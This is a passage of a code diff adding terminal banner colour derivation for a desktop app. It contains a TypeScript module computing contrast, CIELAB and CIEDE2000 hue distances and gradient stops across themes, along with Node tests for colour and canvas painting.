if (d < SRGB_MIN) bad.push(`${name} srgb ${d.toFixed(1)}`);
|
||||||
|
}
|
||||||
|
assert.deepEqual(bad, []); // kills M3
|
||||||
|
});
|
||||||
|
|
||||||
|
test("each half of the distinctness gate rejects what the other half admits", () => {
|
||||||
|
// Tested directly on synthetic triads, NOT via the 62-theme census, because
|
||||||
|
// on the shipped themes the two halves mask each other: disabling either
|
||||||
|
// alone changes no theme's stops. A census-only test lets a reviewer delete
|
||||||
|
// one half and see all green.
|
||||||
|
//
|
||||||
|
// Hue-blind: three greys. sRGB says "far apart", hue says "same colour".
|
||||||
|
assert.equal(stopsAreDistinct(["#ffffff", "#a0a0a0", "#606060"]), false);
|
||||||
|
// Distance-blind: muted triad at hue 19.1deg, which CLEARS the hue half,
|
||||||
|
// but only 29.7 apart in sRGB — three colours on paper, one smudge on
|
||||||
|
// screen. Only the distance half rejects it.
|
||||||
|
assert.equal(stopsAreDistinct(["#6a7f8f", "#7f6a8f", "#8f7f6a"]), false);
|
||||||
|
// A real shipped triad (dark-plus) passes both.
|
||||||
|
assert.equal(stopsAreDistinct(["#569cd6", "#d7ba7d", "#b5cea8"]), true);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("sRGB distance alone cannot gate distinctness", () => {
|
||||||
|
// Negative control on the gate itself: if this ever fails, the conjunction
|
||||||
|
// has stopped being a conjunction.
|
||||||
|
assert.ok(srgbDist("#ffffff", "#a0a0a0") > 60);
|
||||||
|
assert.ok(hueDist("#ffffff", "#a0a0a0") < 1);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("the gradient walks the short hue arc and never reverses", () => {
|
||||||
|
// Total-variation counting was too noisy to catch a long-arc mutant (8-bit
|
||||||
|
// jitter -> false positives), and an off-arc angle tolerance misses it when
|
||||||
|
// the two arcs are near-equal (tokyo-night spans 178.3 deg). The invariant
|
||||||
|
// that holds: every step moves in the short-arc direction. (kills M5)
|
||||||
|
for (const [name, p] of THEMES) {
|
||||||
|
const { stops } = bannerStops(p);
|
||||||
|
for (const [lo, hi, a, b] of [
|
||||||
|
[0, 0.5, 0, 1],
|
||||||
|
[0.5, 1, 1, 2],
|
||||||
|
]) {
|
||||||
|
const want = Math.sign(shortArcStep(stops[a], stops[b]));
|
||||||
|
if (want === 0) continue;
|
||||||
|
let wrong = 0,
|
||||||
|
prev = bannerColor(p, stops, "head", lo);
|
||||||
|
for (let i = 1; i <= 50; i++) {
|
||||||
|
const c = bannerColor(p, stops, "head", lo + ((hi - lo) * i) / 50);
|
||||||
|
const step = shortArcStep(prev, c);
|
||||||
|
if (Math.abs(step) > REVERSAL_DEADBAND_DEG && Math.sign(step) !== want)
|
||||||
|
wrong++;
|
||||||
|
prev = c;
|
||||||
|
}
|
||||||
|
assert.ok(wrong <= 5, `${name}: ${wrong} wrong-direction steps of 50`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("the field fades monotonically from the box out to the rim", () => {
|
||||||
|
for (const [name, p] of THEMES) {
|
||||||
|
const { stops } = bannerStops(p);
|
||||||
|
const r = [...Array(SAMPLES)].map((_, i) =>
|
||||||
|
ratio(bannerColor(p, stops, "field", i / (SAMPLES - 1)), p.background),
|
||||||
|
);
|
||||||
|
for (let i = 1; i < r.length; i++) {
|
||||||
|
assert.ok(r[i] <= r[i - 1] + 0.02, `${name} non-monotone at ${i}`); // kills M7
|
||||||
|
}
|
||||||
|
assert.ok(r[0] > r[r.length - 1] + 1, `${name} field does not fade`);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("the bevel keeps a visible light/shadow gap", () => {
|
||||||
|
for (const [name, p] of THEMES) {
|
||||||
|
const { stops } = bannerStops(p);
|
||||||
|
const hi = ratio(bannerColor(p, stops, "bevel_hi", 0), p.background);
|
||||||
|
const lo = ratio(bannerColor(p, stops, "bevel_lo", 0), p.background);
|
||||||
|
// ORIENTED, not just separated: a gap assertion is symmetric under
|
||||||
|
// swapping the two bevel layers, and a swap changes neither cell count nor
|
||||||
|
// draw-call count. Only a colour-valued, directional check sees it.
|
||||||
|
assert.ok(
|
||||||
|
hi > lo,
|
||||||
|
`${name} bevel inverted: hi ${hi.toFixed(2)} <= lo ${lo.toFixed(2)}`,
|
||||||
|
);
|
||||||
|
assert.ok(hi - lo >= 1.0, `${name} bevel gap ${(hi - lo).toFixed(2)}`);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("every layer returns a colour", () => {
|
||||||
|
// A renamed layer silently returned undefined once; this is that regression.
|
||||||
|
for (const [name, p] of THEMES.slice(0, 3)) {
|
||||||
|
const { stops } = bannerStops(p);
|
||||||
|
for (const layer of ["field", "head", "bevel_hi", "bevel_lo"]) {
|
||||||
|
assert.match(
|
||||||
|
bannerColor(p, stops, layer, 0.5),
|
||||||
|
/^#[0-9a-f]{6}$/,
|
||||||
|
`${name}/${layer}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("contrast is lifted to the floor, never pinned down to it", () => {
|
||||||
|
// A floor is not a target: pinning dimmed 30 of 62 themes and cost chroma.
|
||||||
|
const spread = THEMES.map(([, p]) => {
|
||||||
|
const { stops } = bannerStops(p);
|
||||||
|
return Math.max(...stops.map((s) => ratio(s, p.background)));
|
||||||
|
});
|
||||||
|
assert.ok(Math.max(...spread) > 8, "no theme exceeds the floor => pinned");
|
||||||
|
});
|
||||||
408
desktop/src/features/terminal/terminalBannerColor.ts
Normal file
408
desktop/src/features/terminal/terminalBannerColor.ts
Normal file
@@ -0,0 +1,408 @@
|
|||||||
|
/**
|
||||||
|
* Terminal banner colour derivation — the colour half of the banner contract.
|
||||||
|
*
|
||||||
|
* Geometry (terminalBanner.ts) is pure and carries no colour:
|
||||||
|
* grid[row][col] = { char, layer, t }. This module maps (layer, t) -> hex,
|
||||||
|
* given the theme's TerminalPalette. Colour is derived in the renderer and
|
||||||
|
* regenerated only on viewport or theme change.
|
||||||
|
*
|
||||||
|
* Why the palette and not the CSS vars: `--primary` is a user preference that
|
||||||
|
* collapses to `--foreground` on the Buzz themes (ThemeProvider.tsx), and
|
||||||
|
* `--secondary` / `--accent` are assigned the same 6% hover tint
|
||||||
|
* (adaptive-theme.ts:241-243). A literal primary/secondary/accent fade is two
|
||||||
|
* stops, one of which is the background. The TerminalPalette carries the
|
||||||
|
* theme's real hues, so the three stops come from there.
|
||||||
|
*
|
||||||
|
* Thresholds: contrast 4.5 is WCAG 2.2 SC 1.4.3 (body text). Chroma 16,
|
||||||
|
* hue 12 (CIEDE2000 dH', equal-L*) and sRGB 45 are HOUSE thresholds with no
|
||||||
|
* external standard — sized by
|
||||||
|
* sweep and stable across 8-25 chroma x 8-20 hue.
|
||||||
|
*
|
||||||
|
* Validated by terminalBannerColor.test.mjs: all 62 shipped themes pass every
|
||||||
|
* gate, and 8 mutants of this file are killed by those gates.
|
||||||
|
*/
|
||||||
|
import type {
|
||||||
|
AnsiColorName,
|
||||||
|
TerminalPalette,
|
||||||
|
} from "../../shared/theme/terminal-palette.ts";
|
||||||
|
|
||||||
|
// sRGB -> CIELAB -> CIEDE2000. Instrument for "are two stops visibly distinct".
|
||||||
|
export const hex2rgb = (h: string) =>
|
||||||
|
[1, 3, 5].map((i) => parseInt(h.slice(i, i + 2), 16));
|
||||||
|
export const rgb2hex = (r: readonly number[]) =>
|
||||||
|
"#" +
|
||||||
|
r
|
||||||
|
.map((v) =>
|
||||||
|
Math.max(0, Math.min(255, Math.round(v)))
|
||||||
|
.toString(16)
|
||||||
|
.padStart(2, "0"),
|
||||||
|
)
|
||||||
|
.join("");
|
||||||
|
const lin = (c: number) => {
|
||||||
|
c /= 255;
|
||||||
|
return c <= 0.04045 ? c / 12.92 : ((c + 0.055) / 1.055) ** 2.4;
|
||||||
|
};
|
||||||
|
export const lum = (h: string) => {
|
||||||
|
const [r, g, b] = hex2rgb(h);
|
||||||
|
return 0.2126 * lin(r) + 0.7152 * lin(g) + 0.0722 * lin(b);
|
||||||
|
};
|
||||||
|
export const ratio = (a: string, b: string) => {
|
||||||
|
const [x, y] = [lum(a), lum(b)].sort((p, q) => q - p);
|
||||||
|
return (x + 0.05) / (y + 0.05);
|
||||||
|
};
|
||||||
|
export const mix = (a: string, b: string, t: number) =>
|
||||||
|
rgb2hex(hex2rgb(a).map((v, i) => v + (hex2rgb(b)[i] - v) * t));
|
||||||
|
|
||||||
|
export function lab(hex: string) {
|
||||||
|
const [r, g, b] = hex2rgb(hex).map(lin);
|
||||||
|
// sRGB D65 -> XYZ
|
||||||
|
let x = r * 0.4124 + g * 0.3576 + b * 0.1805;
|
||||||
|
let y = r * 0.2126 + g * 0.7152 + b * 0.0722;
|
||||||
|
let z = r * 0.0193 + g * 0.1192 + b * 0.9505;
|
||||||
|
x /= 0.95047;
|
||||||
|
y /= 1.0;
|
||||||
|
z /= 1.08883;
|
||||||
|
const f = (t: number) =>
|
||||||
|
t > 216 / 24389 ? Math.cbrt(t) : (841 / 108) * t + 4 / 29;
|
||||||
|
const [fx, fy, fz] = [f(x), f(y), f(z)];
|
||||||
|
return { L: 116 * fy - 16, a: 500 * (fx - fy), b: 200 * (fy - fz) };
|
||||||
|
}
|
||||||
|
|
||||||
|
export function de00(
|
||||||
|
p: { L: number; a: number; b: number },
|
||||||
|
q: { L: number; a: number; b: number },
|
||||||
|
) {
|
||||||
|
const rad = Math.PI / 180,
|
||||||
|
deg = 180 / Math.PI;
|
||||||
|
const C1 = Math.hypot(p.a, p.b),
|
||||||
|
C2 = Math.hypot(q.a, q.b);
|
||||||
|
const Cbar = (C1 + C2) / 2;
|
||||||
|
const G = 0.5 * (1 - Math.sqrt(Cbar ** 7 / (Cbar ** 7 + 25 ** 7)));
|
||||||
|
const a1p = (1 + G) * p.a,
|
||||||
|
a2p = (1 + G) * q.a;
|
||||||
|
const C1p = Math.hypot(a1p, p.b),
|
||||||
|
C2p = Math.hypot(a2p, q.b);
|
||||||
|
const hp = (b: number, a: number) => {
|
||||||
|
if (b === 0 && a === 0) return 0;
|
||||||
|
const v = Math.atan2(b, a) * deg;
|
||||||
|
return v < 0 ? v + 360 : v;
|
||||||
|
};
|
||||||
|
const h1p = hp(p.b, a1p),
|
||||||
|
h2p = hp(q.b, a2p);
|
||||||
|
const dLp = q.L - p.L,
|
||||||
|
dCp = C2p - C1p;
|
||||||
|
let dhp = 0;
|
||||||
|
if (C1p * C2p !== 0) {
|
||||||
|
dhp = h2p - h1p;
|
||||||
|
if (dhp > 180) dhp -= 360;
|
||||||
|
else if (dhp < -180) dhp += 360;
|
||||||
|
}
|
||||||
|
const dHp = 2 * Math.sqrt(C1p * C2p) * Math.sin((dhp / 2) * rad);
|
||||||
|
const Lbp = (p.L + q.L) / 2,
|
||||||
|
Cbp = (C1p + C2p) / 2;
|
||||||
|
let hbp = h1p + h2p;
|
||||||
|
if (C1p * C2p !== 0) {
|
||||||
|
if (Math.abs(h1p - h2p) > 180) hbp += h1p + h2p < 360 ? 360 : -360;
|
||||||
|
hbp /= 2;
|
||||||
|
}
|
||||||
|
const T =
|
||||||
|
1 -
|
||||||
|
0.17 * Math.cos((hbp - 30) * rad) +
|
||||||
|
0.24 * Math.cos(2 * hbp * rad) +
|
||||||
|
0.32 * Math.cos((3 * hbp + 6) * rad) -
|
||||||
|
0.2 * Math.cos((4 * hbp - 63) * rad);
|
||||||
|
const dTh = 30 * Math.exp(-(((hbp - 275) / 25) ** 2));
|
||||||
|
const Rc = 2 * Math.sqrt(Cbp ** 7 / (Cbp ** 7 + 25 ** 7));
|
||||||
|
const Sl = 1 + (0.015 * (Lbp - 50) ** 2) / Math.sqrt(20 + (Lbp - 50) ** 2);
|
||||||
|
const Sc = 1 + 0.045 * Cbp,
|
||||||
|
Sh = 1 + 0.015 * Cbp * T;
|
||||||
|
const Rt = -Math.sin(2 * dTh * rad) * Rc;
|
||||||
|
return Math.sqrt(
|
||||||
|
(dLp / Sl) ** 2 +
|
||||||
|
(dCp / Sc) ** 2 +
|
||||||
|
(dHp / Sh) ** 2 +
|
||||||
|
Rt * (dCp / Sc) * (dHp / Sh),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
import type { TerminalBannerLayer } from "./terminalBanner.ts";
|
||||||
|
export type Layer = TerminalBannerLayer;
|
||||||
|
|
||||||
|
// WCAG 2.2 SC 1.4.3: 4.5:1 body text. The wordmark is content, not decoration.
|
||||||
|
const WORDMARK_FLOOR = 4.5;
|
||||||
|
// Ours, tuning, no standard:
|
||||||
|
const FIELD_CORE = 2.6; // hex field nearest the box — present, not competing
|
||||||
|
const FIELD_EDGE = 1.04; // at the rim — all but gone
|
||||||
|
const BEVEL_HI = 2.9; // lit edge
|
||||||
|
const BEVEL_LO = 1.55; // shadowed edge; the ratio gap IS the bevel
|
||||||
|
const CHROMA_MIN = 16; // Lab C*: below this a "hue" is a grey
|
||||||
|
// UNIT: CIEDE2000 dH' with both colours forced to a shared L*. NOT raw LCh
|
||||||
|
// hue-angle degrees, which run ~1.5-3x larger on the same stops (red 13.0 vs
|
||||||
|
// 19.3, kanagawa-dragon 25.1 vs 75.3) because S_H weights by chroma and hue.
|
||||||
|
// Quoting a degrees figure next to this threshold compares different units.
|
||||||
|
const HUE_MIN = 12;
|
||||||
|
const SRGB_MIN = 45; // min pairwise sRGB distance, conjoined with HUE_MIN
|
||||||
|
|
||||||
|
/** Euclidean sRGB distance. Guards near-coincident stops that differ in hue
|
||||||
|
* angle but barely in appearance. NOT sufficient alone: it counts lightness,
|
||||||
|
* so white vs #a0a0a0 scores 165 while being hue-identical (hueDist 0.0). */
|
||||||
|
const srgbDist = (a: string, b: string) =>
|
||||||
|
Math.hypot(...hex2rgb(a).map((v, i) => v - hex2rgb(b)[i]));
|
||||||
|
|
||||||
|
const chroma = (h: string) => {
|
||||||
|
const v = lab(h);
|
||||||
|
return Math.hypot(v.a, v.b);
|
||||||
|
};
|
||||||
|
/** CIEDE2000 with both colours forced to a shared L — lightness must not
|
||||||
|
* rescue a pair that is really one hue at two brightnesses. */
|
||||||
|
const hueDist = (a: string, b: string) => {
|
||||||
|
const p = lab(a),
|
||||||
|
q = lab(b),
|
||||||
|
L = (p.L + q.L) / 2;
|
||||||
|
return de00({ L, a: p.a, b: p.b }, { L, a: q.a, b: q.b });
|
||||||
|
};
|
||||||
|
function away(c: string, bg: string, floor: number) {
|
||||||
|
const dir = lum(bg) > 0.5 ? "#000000" : "#ffffff";
|
||||||
|
let x = c;
|
||||||
|
for (let i = 0; i < 200 && ratio(x, bg) < floor; i++) x = mix(x, dir, 0.02);
|
||||||
|
return x;
|
||||||
|
}
|
||||||
|
/** Solve for a CONTRAST RATIO, never a fixed mix fraction: one constant
|
||||||
|
* fraction gives a 2.6x appearance spread across themes. */
|
||||||
|
function atRatio(colour: string, bg: string, target: number) {
|
||||||
|
const have = ratio(colour, bg);
|
||||||
|
if (have < target) return away(colour, bg, target);
|
||||||
|
// Idempotence: re-pinning an already-compliant colour bisects it a hair
|
||||||
|
// closer to the ground each time, and every pass costs chroma. Measured on
|
||||||
|
// kanagawa-dragon: a second pin dropped a stop from C* 16.1 to 15.5.
|
||||||
|
if (have - target < 0.05) return colour;
|
||||||
|
let lo = 0,
|
||||||
|
hi = 1,
|
||||||
|
best = colour;
|
||||||
|
for (let i = 0; i < 28; i++) {
|
||||||
|
const m = (lo + hi) / 2,
|
||||||
|
c = mix(colour, bg, m);
|
||||||
|
if (ratio(c, bg) > target) {
|
||||||
|
best = c;
|
||||||
|
lo = m;
|
||||||
|
} else hi = m;
|
||||||
|
}
|
||||||
|
return best;
|
||||||
|
}
|
||||||
|
function lab2hex(L: number, A: number, B: number) {
|
||||||
|
const fy = (L + 16) / 116,
|
||||||
|
fx = fy + A / 500,
|
||||||
|
fz = fy - B / 200;
|
||||||
|
const fi = (t: number) =>
|
||||||
|
t ** 3 > 216 / 24389 ? t ** 3 : (116 * t - 16) / (24389 / 27);
|
||||||
|
const x = fi(fx) * 0.95047,
|
||||||
|
y = L > 8 ? ((L + 16) / 116) ** 3 : L / (24389 / 27),
|
||||||
|
z = fi(fz) * 1.08883;
|
||||||
|
const g = (c: number) => {
|
||||||
|
c = Math.max(0, Math.min(1, c));
|
||||||
|
return c <= 0.0031308 ? 12.92 * c : 1.055 * c ** (1 / 2.4) - 0.055;
|
||||||
|
};
|
||||||
|
const to = (v: number) =>
|
||||||
|
Math.round(g(v) * 255)
|
||||||
|
.toString(16)
|
||||||
|
.padStart(2, "0");
|
||||||
|
return `#${to(x * 3.2406 + y * -1.5372 + z * -0.4986)}${to(x * -0.9689 + y * 1.8758 + z * 0.0415)}${to(x * 0.0557 + y * -0.204 + z * 1.057)}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Raise to the floor if short, otherwise leave alone. A floor is a floor,
|
||||||
|
* not a target: `atRatio` also pins DOWN, which dimmed every vivid theme to
|
||||||
|
* exactly 4.5 and cost chroma (tokyo-night's #f7768e sits at 6.46 natively).
|
||||||
|
* Use this wherever the requirement is "at least", and `atRatio` only where a
|
||||||
|
* specific ratio is the design (the field decay and the bevel gap).
|
||||||
|
*
|
||||||
|
* Exported because the animation's colour table interpolates BETWEEN solved
|
||||||
|
* samples, and a straight-line blend under a convex contrast curve lands
|
||||||
|
* slightly below both endpoints — measured at 4.4766 against the 4.5 floor on
|
||||||
|
* solarized-light. The blend has to be re-lifted with the same operator that
|
||||||
|
* put the endpoints on the floor in the first place. */
|
||||||
|
export const lift = (c: string, bg: string, floor: number) =>
|
||||||
|
ratio(c, bg) >= floor ? c : away(c, bg, floor);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The distinctness gate. Conjunction by design, and each half is tested
|
||||||
|
* directly (terminalBannerColor.test.mjs) because on the 62 shipped themes the
|
||||||
|
* two halves MASK EACH OTHER: disabling either alone changes no theme's stops,
|
||||||
|
* only disabling both does. A census can therefore never justify keeping both.
|
||||||
|
*
|
||||||
|
* Neither half is sufficient. sRGB distance counts lightness, so white vs
|
||||||
|
* #a0a0a0 scores 165 while being one hue. Hue alone admits stops that differ
|
||||||
|
* in angle but barely in appearance.
|
||||||
|
*
|
||||||
|
* Thresholds: hue 12 (CIEDE2000 dH', equal-L*) and sRGB 45 are HOUSE
|
||||||
|
* thresholds with no external
|
||||||
|
* standard, sized by sweep. The contrast floor 4.5 is WCAG 2.2 SC 1.4.3.
|
||||||
|
*/
|
||||||
|
export function stopsAreDistinct(s: [string, string, string]): boolean {
|
||||||
|
const min = (f: (a: string, b: string) => number) =>
|
||||||
|
Math.min(f(s[0], s[1]), f(s[1], s[2]), f(s[0], s[2]));
|
||||||
|
return min(hueDist) >= HUE_MIN && min(srgbDist) >= SRGB_MIN;
|
||||||
|
}
|
||||||
|
|
||||||
|
const HUES = ["red", "green", "yellow", "blue", "magenta", "cyan"] as const;
|
||||||
|
|
||||||
|
/** The three wordmark stops: maximally hue-separated, each at the text floor. */
|
||||||
|
export function bannerStops(p: TerminalPalette): {
|
||||||
|
stops: [string, string, string];
|
||||||
|
mode: "native" | "synth";
|
||||||
|
} {
|
||||||
|
const bg = p.background;
|
||||||
|
const seen = new Set<string>();
|
||||||
|
const pool: string[] = [];
|
||||||
|
for (const n of HUES)
|
||||||
|
for (const k of [n, `bright${n[0].toUpperCase()}${n.slice(1)}`]) {
|
||||||
|
const c = lift(p.ansi[k as AnsiColorName], bg, WORDMARK_FLOOR);
|
||||||
|
if (!seen.has(c)) {
|
||||||
|
seen.add(c);
|
||||||
|
pool.push(c);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
const chromatic = pool.filter((c) => chroma(c) >= CHROMA_MIN);
|
||||||
|
const pick = (cs: string[]) => {
|
||||||
|
let seed = [cs[0], cs[1]],
|
||||||
|
best = -1;
|
||||||
|
for (let i = 0; i < cs.length; i++)
|
||||||
|
for (let j = i + 1; j < cs.length; j++) {
|
||||||
|
const d = hueDist(cs[i], cs[j]);
|
||||||
|
if (d > best) {
|
||||||
|
best = d;
|
||||||
|
seed = [cs[i], cs[j]];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
const ch = [...seed];
|
||||||
|
let third = cs[0],
|
||||||
|
td = -1;
|
||||||
|
for (const c of cs) {
|
||||||
|
if (ch.includes(c)) continue;
|
||||||
|
const d = Math.min(...ch.map((x) => hueDist(x, c)));
|
||||||
|
if (d > td) {
|
||||||
|
td = d;
|
||||||
|
third = c;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return [...ch, third];
|
||||||
|
};
|
||||||
|
let stops: string[] | null = null;
|
||||||
|
if (chromatic.length >= 3) {
|
||||||
|
const s = pick(chromatic);
|
||||||
|
// Conjunction. Neither alone is sufficient: sRGB distance counts
|
||||||
|
// lightness, so it scores white-vs-grey 165 while they are one hue; and
|
||||||
|
// hue alone admits stops that differ in angle but barely in appearance.
|
||||||
|
if (stopsAreDistinct(s as [string, string, string])) stops = s;
|
||||||
|
}
|
||||||
|
let mode: "native" | "synth" = "native";
|
||||||
|
if (!stops) {
|
||||||
|
// Near-monochrome theme (vesper, min-dark): rotate +/-40 deg in LCh around
|
||||||
|
// the theme's own most chromatic colour. It stays the theme's hue family —
|
||||||
|
// a restrained theme stays restrained, it just gains a fade.
|
||||||
|
mode = "synth";
|
||||||
|
const anchor = pool.reduce((a, b) => (chroma(b) > chroma(a) ? b : a));
|
||||||
|
const v = lab(anchor),
|
||||||
|
C = Math.max(Math.hypot(v.a, v.b), 22),
|
||||||
|
h0 = (Math.atan2(v.b, v.a) * 180) / Math.PI;
|
||||||
|
stops = [-40, 0, 40].map((d) => {
|
||||||
|
const h = ((h0 + d) * Math.PI) / 180;
|
||||||
|
return lift(
|
||||||
|
lab2hex(v.L, C * Math.cos(h), C * Math.sin(h)),
|
||||||
|
bg,
|
||||||
|
WORDMARK_FLOOR,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
// order by hue angle so the sweep is monotone across the wordmark
|
||||||
|
stops.sort((a, b) => {
|
||||||
|
const x = lab(a),
|
||||||
|
y = lab(b);
|
||||||
|
return Math.atan2(x.b, x.a) - Math.atan2(y.b, y.a);
|
||||||
|
});
|
||||||
|
return { stops: stops as [string, string, string], mode };
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 3-stop ramp interpolated in CIELCh (polar Lab) along the SHORT hue arc,
|
||||||
|
* then re-solved to the target ratio so every sampled point keeps its contrast
|
||||||
|
* instead of sagging between stops.
|
||||||
|
*
|
||||||
|
* Not RGB interpolation: a straight line in RGB between two opposing hues
|
||||||
|
* passes through the neutral axis, so the fade greys out mid-glyph. Measured
|
||||||
|
* on vitesse-dark, whose stops are all C* >= 24 yet whose RGB midpoint fell to
|
||||||
|
* C* 2.3 — three chromatic stops and a grey wordmark. Interpolating the hue
|
||||||
|
* ANGLE keeps chroma up across the whole sweep.
|
||||||
|
*/
|
||||||
|
function lerpLch(a: string, b: string, u: number) {
|
||||||
|
const p = lab(a),
|
||||||
|
q = lab(b);
|
||||||
|
const [C1, C2] = [Math.hypot(p.a, p.b), Math.hypot(q.a, q.b)];
|
||||||
|
const h1 = Math.atan2(p.b, p.a),
|
||||||
|
h2 = Math.atan2(q.b, q.a);
|
||||||
|
let dh = h2 - h1; // short arc
|
||||||
|
if (dh > Math.PI) dh -= 2 * Math.PI;
|
||||||
|
if (dh < -Math.PI) dh += 2 * Math.PI;
|
||||||
|
const L = p.L + (q.L - p.L) * u;
|
||||||
|
const C = C1 + (C2 - C1) * u;
|
||||||
|
const h = h1 + dh * u;
|
||||||
|
return lab2hex(L, C * Math.cos(h), C * Math.sin(h));
|
||||||
|
}
|
||||||
|
function ramp(
|
||||||
|
stops: [string, string, string],
|
||||||
|
t: number,
|
||||||
|
bg: string,
|
||||||
|
target: number,
|
||||||
|
pin = true,
|
||||||
|
) {
|
||||||
|
const u = Math.max(0, Math.min(1, t));
|
||||||
|
const c =
|
||||||
|
u < 0.5
|
||||||
|
? lerpLch(stops[0], stops[1], u * 2)
|
||||||
|
: lerpLch(stops[1], stops[2], (u - 0.5) * 2);
|
||||||
|
return pin ? atRatio(c, bg, target) : lift(c, bg, target);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* `t` and `hue` are TWO AXES, and on the field they are not the same axis.
|
||||||
|
*
|
||||||
|
* A cell's `t` from the geometry is radial: `ray * ray`, a cast outward from
|
||||||
|
* the chassis. It sets the field's CONTRAST decay (2.60 at the box to 1.04 at
|
||||||
|
* the rim) and it also used to set the hue position, because a static banner
|
||||||
|
* has no reason to tell them apart. An animated wave does: driving hue from
|
||||||
|
* the radial axis makes the colour travel outward from the box like a ripple,
|
||||||
|
* and driving the contrast target from a moving axis makes the rim pulse
|
||||||
|
* bright and breaks the monotonic fade the field is specced on.
|
||||||
|
*
|
||||||
|
* So `hue` selects the position along the three-stop ramp and `t` keeps the
|
||||||
|
* contrast decay. `hue` DEFAULTS TO `t`, which is exactly the coupled
|
||||||
|
* behaviour the static banner shipped with — callers that omit it get the
|
||||||
|
* shipped pixels, byte for byte.
|
||||||
|
*/
|
||||||
|
export function bannerColor(
|
||||||
|
p: TerminalPalette,
|
||||||
|
stops: [string, string, string],
|
||||||
|
layer: Layer,
|
||||||
|
t: number,
|
||||||
|
hue: number = t,
|
||||||
|
): string {
|
||||||
|
const bg = p.background;
|
||||||
|
switch (layer) {
|
||||||
|
case "head":
|
||||||
|
// Tyler: "fill the box with buzz term in a three color fade".
|
||||||
|
return ramp(stops, hue, bg, WORDMARK_FLOOR, false);
|
||||||
|
case "field":
|
||||||
|
// Tyler: "flow to the edges, fading out" + "colour shift centre to edge".
|
||||||
|
// Same three hues, so the field and the mark are one palette; the fade is
|
||||||
|
// in CONTRAST, from 2.60 at the box to 1.04 at the rim.
|
||||||
|
return ramp(
|
||||||
|
stops,
|
||||||
|
hue,
|
||||||
|
bg,
|
||||||
|
FIELD_CORE + (FIELD_EDGE - FIELD_CORE) * Math.max(0, Math.min(1, t)),
|
||||||
|
);
|
||||||
|
case "bevel_hi":
|
||||||
|
return atRatio(p.foreground, bg, BEVEL_HI);
|
||||||
|
case "bevel_lo":
|
||||||
|
return atRatio(p.foreground, bg, BEVEL_LO);
|
||||||
|
}
|
||||||
|
}
|
||||||
127
desktop/src/features/terminal/terminalBannerPainter.test.mjs
Normal file
127
desktop/src/features/terminal/terminalBannerPainter.test.mjs
Normal file
@@ -0,0 +1,127 @@
|
|||||||
|
import assert from "node:assert/strict";
|
||||||
|
import test from "node:test";
|
||||||
|
|
||||||
|
import { buildTerminalBanner } from "./terminalBanner.ts";
|
||||||
|
import { paintTerminalBanner } from "./terminalBannerPainter.ts";
|
||||||
|
|
||||||
|
const palette = {
|
||||||
|
background: "#10141c",
|
||||||
|
foreground: "#d0d0d0",
|
||||||
|
cursor: "#ffffff",
|
||||||
|
cursorText: "#000000",
|
||||||
|
ansi: {
|
||||||
|
black: "#10141c",
|
||||||
|
red: "#f07178",
|
||||||
|
green: "#aad94c",
|
||||||
|
yellow: "#ffb454",
|
||||||
|
blue: "#59c2ff",
|
||||||
|
magenta: "#d2a6ff",
|
||||||
|
cyan: "#95e6cb",
|
||||||
|
white: "#d0d0d0",
|
||||||
|
brightBlack: "#4d5566",
|
||||||
|
brightRed: "#f07178",
|
||||||
|
brightGreen: "#aad94c",
|
||||||
|
brightYellow: "#ffb454",
|
||||||
|
brightBlue: "#59c2ff",
|
||||||
|
brightMagenta: "#d2a6ff",
|
||||||
|
brightCyan: "#95e6cb",
|
||||||
|
brightWhite: "#ffffff",
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
function canvas() {
|
||||||
|
const draws = [];
|
||||||
|
const clears = [];
|
||||||
|
const colors = [];
|
||||||
|
const fills = [];
|
||||||
|
const context = {
|
||||||
|
_fillStyle: "",
|
||||||
|
clearRect(...args) {
|
||||||
|
clears.push(args);
|
||||||
|
},
|
||||||
|
fillRect(...args) {
|
||||||
|
fills.push({ args, color: this._fillStyle, glyphsBefore: draws.length });
|
||||||
|
},
|
||||||
|
fillText(...args) {
|
||||||
|
draws.push(args);
|
||||||
|
colors.push(this._fillStyle);
|
||||||
|
},
|
||||||
|
font: "",
|
||||||
|
set fillStyle(value) {
|
||||||
|
this._fillStyle = value;
|
||||||
|
},
|
||||||
|
get fillStyle() {
|
||||||
|
return this._fillStyle;
|
||||||
|
},
|
||||||
|
setTransform() {},
|
||||||
|
textBaseline: "",
|
||||||
|
};
|
||||||
|
return {
|
||||||
|
canvas: {
|
||||||
|
height: 0,
|
||||||
|
width: 0,
|
||||||
|
getBoundingClientRect: () => ({ height: 600, width: 1000 }),
|
||||||
|
getContext: () => context,
|
||||||
|
},
|
||||||
|
clears,
|
||||||
|
colors,
|
||||||
|
draws,
|
||||||
|
fills,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
test("paints every emitted banner glyph at terminal cell coordinates", () => {
|
||||||
|
const banner = buildTerminalBanner(112, 46, 17 / 8.4);
|
||||||
|
assert.ok(banner);
|
||||||
|
const emitted = banner.cells.flat().filter((cell) => cell.char !== " ");
|
||||||
|
const target = canvas();
|
||||||
|
assert.equal(paintTerminalBanner(target.canvas, banner, palette, 2), true);
|
||||||
|
assert.equal(target.draws.length, emitted.length);
|
||||||
|
assert.ok(target.draws.some(([char]) => char === "█"));
|
||||||
|
assert.ok(target.draws.some(([char]) => char === "/"));
|
||||||
|
assert.ok(target.draws.some(([, x, y]) => x > 0 && y > 0));
|
||||||
|
assert.equal(target.canvas.width, 2000);
|
||||||
|
assert.equal(target.canvas.height, 1200);
|
||||||
|
